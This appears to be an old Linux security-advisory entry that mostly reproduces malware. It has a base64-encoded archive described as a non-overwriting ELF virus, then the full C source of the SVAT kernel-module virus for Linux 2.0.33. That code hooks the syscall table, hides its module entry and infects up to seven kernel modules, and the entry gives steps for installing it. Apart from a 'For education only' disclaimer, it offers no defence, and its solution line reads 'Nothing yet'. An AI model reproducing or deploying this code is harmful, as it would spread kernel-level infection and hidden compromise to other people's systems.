COMMAND
virus
SYSTEMS AFFECTED
Linux
PROBLEM
Stealthf0rk posted a virus that infects ELF-files non-overwriting.
Below you will find also module-infector that works on linux
2.0.33 with kerneld running.
---
Content-Type: application/octet-stream; name="linuxVirus.tgz"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="linuxvir.tgz"
Content-MD5: Z4gaTHAnVpwZhzMWTtYoMw==
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
AAAAAAAAACxxAX55swYAeAAA
-----
Here's an incredible module-infector that works on linux 2.0.33
with kerneld running.
/* SVAT - Special Virii And Trojans - present:
*
* -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
*
* 0kay guys, here we go...
* As i told you with VLP I (we try to write an fast-infector)
* here's the result:
* a full, non-overwriting module infector that catches
* lkm's due to create_module() and infects them (max. 7)
* if someone calls delete_module() [even on autoclean].
* Linux is not longer a virii-secure system :(
* and BSD follows next week ...
* Since it is not needed 2 get root (by the module) you should pay
* attention on liane.
* Note the asm code in function init_module().
* U should assemble your /usr/src/.../module.c with -S and your CFLAG
* from your Makefile and look for the returnvalue from the first call
* of find_module() in sys_init_module(). look where its stored (%ebp for me)
* and change it in __asm__ init_module()! (but may it is not needed)
*
* For education only!
* Run it only with permisson of the owner of the system you are logged on!!!
*
* !!! YOU USE THIS AT YOUR OWN RISK !!!
*
* I'm not responsible for any damage you may get due to playing around with this.
*
* okay guys, you have to find out some steps without my help:
*
* 1. $ cc -c -O2 module.c
* 2. get length of module.o and patch the #define MODLEN in module.c
* 3. $ ???
* 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
* 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
* >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
* 6. $ insmod ???
*
* This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
* kernel 2.0.33. It works.
*
* greets (in no order...)
*
* NetW0rker - tkx for da sources
* Serialkiller - gib mir mal deine eMail-addy
* hyperSlash - 1st SVAT member, he ?
* naleZ - hehehe
* MadMan - NetW0rker wanted me to greet u !?
* KilJaeden - TurboDebugger and SoftIce are a good choice !
*
* and all de otherz
*
* Stealthf0rk/SVAT <stealth@cyberspace.org>
*/
#define __KERNEL__
#define MODULE
#define MODLEN 7104
#define ENOUGH 7
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM set_fs(old_fs);}
/* i'm not sure we need all of 'em ...*/
#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>
#define __NR_our_syscall 211
#define MAXPATH 30
/*#define DEBUG*/
#ifdef DEBUG
#define DPRINTK(format, args...) printk(KERN_INFO format,##args)
#else
#define DPRINTK(format, args...)
#endif
/* where the sys_calls are */
extern void *sys_call_table[];
/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
* if you change the default_path[] values
*/
static char *default_path[] = {
".", "/linux/modules",
"/lib/modules/2.0.33/fs",
"/lib/modules/2.0.33/net",
"/lib/modules/2.0.33/scsi",
"/lib/modules/2.0.33/block",
"/lib/modules/2.0.33/cdrom",
"/lib/modules/2.0.33/ipv4",
"/lib/modules/2.0.33/misc",
"/lib/modules/default/fs",
"/lib/modules/default/net",
"/lib/modules/default/scsi",
"/lib/modules/default/block",
"/lib/modules/default/cdrom",
"/lib/modules/default/ipv4",
"/lib/modules/default/misc",
"/lib/modules/fs",
"/lib/modules/net",
"/lib/modules/scsi",
"/lib/modules/block",
"/lib/modules/cdrom",
"/lib/modules/ipv4",
"/lib/modules/misc",
0
};
static struct symbol_table my_symtab = {
#include <linux/symtab_begin.h>
X(printk),
X(vmalloc),
X(vfree),
X(kerneld_send),
X(current_set),
X(sys_call_table),
X(register_symtab_from),
#include <linux/symtab_end.h>
};
char files2infect[7][60 + 2];
/* const char kernel_version[] = UTS_RELEASE; */
int (*old_create_module)(char*, int);
int (*old_delete_module)(char *);
int (*open)(char *, int, int);
int (*close)(int);
int (*unlink)(char*);
int our_syscall(int);
int infectfile(char *);
int is_infected(char *);
int cp(struct file*, struct file*);
int writeVir(char *, char *);
int init_module2(struct module*);
char *get_mod_name(char*);
/* needed to be global */
void *VirCode = NULL;
/* install new syscall to see if we are already in kmem */
int our_syscall(int mn)
{
/* magic number: 40hex :-) */
if (mn == 0x40)
return 0;
else
return -ENOSYS;
}
int new_create_module(char *name, int size)
{
int i = 0, j = 0, retval = 0;
if ((retval = old_create_module(name, size)) < 0)
return retval;
/* find next free place */
for (i = 0; files2infect[i][0] && i < 7; i++);
if (i == 6)
return retval;
/* get name of mod from user-space */
while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
j++;
DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
return retval;
}
/* we infect modules after sys_delete_module, to be sure
* we don't confuse the kernel
*/
int new_delete_module(char *modname)
{
static int infected = 0;
int retval = 0, i = 0;
char *s = NULL, *name = NULL;
retval = old_delete_module(modname);
if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
return retval;
for (i = 0; files2infect[i][0] && i < 7; i++) {
strcat(files2infect[i], ".o");
if ((s = get_mod_name(files2infect[i])) == NULL) {
return retval;
}
name = strcpy(name, s);
if (!is_infected(name)) {
DPRINTK("try 2 infect %s as #%d\n", name, i);
infected++;
infectfile(name);
}
memset(files2infect[i], 0, 60 + 2);
} /* for */
/* its enough */
if (infected >= ENOUGH)
cleanup_module();
vfree(name);
return retval;
}
/* lets take a look at sys_init_module(), that calls
* our init_module() compiled with
* CFLAG = ... -O2 -fomit-frame-pointer
* in C:
* ...
* if((mp = find_module(name)) == NULL)
* ...
*
* is in asm:
* ...
* call find_module
* movl %eax, %ebp
* ...
* note that there is no normal stack frame !!!
* thats the reason, why we find 'mp' (return from find_module) in %ebp
* BUT only when compiled with the fomit-frame-pointer option !!!
* with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
* you should find mp at -4(%ebp) .
* thiz is very bad hijacking of local vars and an own topic.
* I hope you do not get an seg. fault.
*/
__asm__
("
.align 16
.globl init_module
.type init_module,@function
init_module:
pushl %ebp /* ebp is a pointer to mp from sys_init_module() */
/* and the parameter for init_module2() */
call init_module2
popl %eax
xorl %eax, %eax /* all good */
ret /* and return */
.hype27:
.size init_module,.hype27-init_module
");
/* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
*
* pushl %ebx
* movl %ebp, %ebx
* pushl -4(%ebx)
* call init_module2
* addl $4, %esp
* xorl %eax, %eax
* popl %ebx
* ret
*/
/*----------------------------------------------*/
int init_module2(struct module *mp)
{
char *s = NULL, *mod = NULL, *modname = NULL;
long state = 0;
mod = vmalloc(60 + 2);
modname = vmalloc(MAXPATH + 60 + 2);
if (!mod || !modname)
return -1;
strcpy(mod, mp->name);
strcat(mod, ".o");
MOD_INC_USE_COUNT;
DPRINTK("in init_module2: mod = %s\n", mod);
/* take also a look at phrack#52 ...*/
mp->name = "";
mp->ref = 0;
mp->size = 0;
/* thiz is our new main ,look for copys in kmem ! */
if (sys_call_table[__NR_our_syscall] == 0) {
old_delete_module = sys_call_table[__NR_delete_module];
old_create_module = sys_call_table[__NR_create_module];
sys_call_table[__NR_our_syscall] = (void*)our_syscall;
sys_call_table[__NR_delete_module] = (void*)new_delete_module;
sys_call_table[__NR_create_module] = (void*)new_create_module;
memset(files2infect, 0, (60 + 2)*7);
register_symtab(&my_symtab);
}
open = sys_call_table[__NR_open];
close = sys_call_table[__NR_close];
unlink = sys_call_table[__NR_unlink];
if ((s = get_mod_name(mod)) == NULL)
return -1;
modname = strcpy(modname, s);
load_real_mod(modname, mod);
vfree(mod);
vfree(modname);
return 0;
}
int cleanup_module()
{
sys_call_table[__NR_delete_module] = old_delete_module;
sys_call_table[__NR_create_module] = old_create_module;
sys_call_table[__NR_our_syscall] = NULL;
DPRINTK("in cleanup_module\n");
vfree(VirCode);
return 0;
}
/* returns 1 if infected;
* seek at position MODLEN + 1 and read out 3 bytes,
* if it is "ELF" it seems the file is already infected
*/
int is_infected(char *filename)
{
char det[4] = {0};
int fd = 0;
struct file *file;
DPRINTK("in is_infected: filename = %s\n", filename);
BEGIN_KMEM
fd = open(filename, O_RDONLY, 0);
END_KMEM
if (fd <= 0)
return -1;
if ((file = current->files->fd[fd]) == NULL)
return -2;
file->f_pos = MODLEN + 1;
DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
BEGIN_KMEM
file->f_op->read(file->f_inode, file, det, 3);
close(fd);
END_KMEM
DPRINTK("in is_infected: det = %s\n", det);
if (strcmp(det, "ELF") == 0)
return 1;
else
return 0;
}
/* copy the host-module to tmp, write VirCode to
* hostmodule, and append tmp.
* then delete tmp.
*/
int infectfile(char *filename)
{
char *tmp = "/tmp/t000";
int in = 0, out = 0;
struct file *file1, *file2;
BEGIN_KMEM
in = open(filename, O_RDONLY, 0640);
out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
END_KMEM
DPRINTK("in infectfile: in = %d out = %d\n", in, out);
if (in <= 0 || out <= 0)
return -1;
file1 = current->files->fd[in];
file2 = current->files->fd[out];
if (!file1 || !file2)
return -1;
/* save hostcode */
cp(file1, file2);
BEGIN_KMEM
file1->f_pos = 0;
file2->f_pos = 0;
/* write Vircode [from mem] */
DPRINTK("in infetcfile: filenanme = %s\n", filename);
file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
/* append hostcode */
cp(file2, file1);
close(in);
close(out);
unlink(tmp);
END_KMEM
return 0;
}
int disinfect(char *filename)
{
char *tmp = "/tmp/t000";
int in = 0, out = 0;
struct file *file1, *file2;
BEGIN_KMEM
in = open(filename, O_RDONLY, 0640);
out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
END_KMEM
DPRINTK("in disinfect: in = %d out = %d\n",in, out);
if (in <= 0 || out <= 0)
return -1;
file1 = current->files->fd[in];
file2 = current->files->fd[out];
if (!file1 || !file2)
return -1;
/* save hostcode */
cp(file1, file2);
BEGIN_KMEM
close(in);
DPRINTK("in disinfect: filename = %s\n", filename);
unlink(filename);
in = open(filename, O_RDWR|O_CREAT, 0640);
END_KMEM
if (in <= 0)
return -1;
file1 = current->files->fd[in];
if (!file1)
return -1;
file2->f_pos = MODLEN;
cp(file2, file1);
BEGIN_KMEM
close(in);
close(out);
unlink(tmp);
END_KMEM
return 0;
}
/* a simple copy routine, that expects the file struct pointer
* of the files to be copied.
* So its possible to append files due to copieng.
*/
int cp(struct file *file1, struct file *file2)
{
int in = 0, out = 0, r = 0;
char *buf;
if ((buf = (char*)vmalloc(10000)) == NULL)
return -1;
DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
BEGIN_KMEM
while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
file2->f_op->write(file2->f_inode, file2, buf, r);
file2->f_inode->i_mode = file1->f_inode->i_mode;
file2->f_inode->i_atime = file1->f_inode->i_atime;
file2->f_inode->i_mtime = file1->f_inode->i_mtime;
file2->f_inode->i_ctime = file1->f_inode->i_ctime;
END_KMEM
vfree(buf);
return 0;
}
/* Is that simple: we disinfect the module [hide 'n seek]
* and send a request to kerneld to load
* the orig mod. N0 fuckin' parsing for symbols and headers
* is needed - cool.
*/
int load_real_mod(char *path_name, char *name)
{
int r = 0, i = 0;
struct file *file1, *file2;
int in = 0, out = 0;
DPRINTK("in load_real_mod name = %s\n", path_name);
if (VirCode)
vfree(VirCode);
VirCode = vmalloc(MODLEN);
if (!VirCode)
return -1;
BEGIN_KMEM
in = open(path_name, O_RDONLY, 0640);
END_KMEM
if (in <= 0)
return -1;
file1 = current->files->fd[in];
if (!file1)
return -1;
/* read Vircode [into mem] */
BEGIN_KMEM
file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
close(in);
END_KMEM
disinfect(path_name);
r = request_module(name);
DPRINTK("in load_real_mod: request_module = %d\n", r);
return 0;
}
char *get_mod_name(char *mod)
{
int fd = 0, i = 0;
static char* modname = NULL;
if (!modname)
modname = vmalloc(MAXPATH + 60 + 2);
if (!modname)
return NULL;
BEGIN_KMEM
for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
memset(modname, 0, MAXPATH + 60 + 2);
modname = strcpy(modname, default_path[i]);
modname = strcat(modname, "/");
modname = strcat(modname, mod);
if ((fd = open(modname, O_RDONLY, 0640)) > 0)
break;
}
close(fd);
END_KMEM
if (!default_path[i])
return NULL;
return modname;
}
SOLUTION
Nothing yet.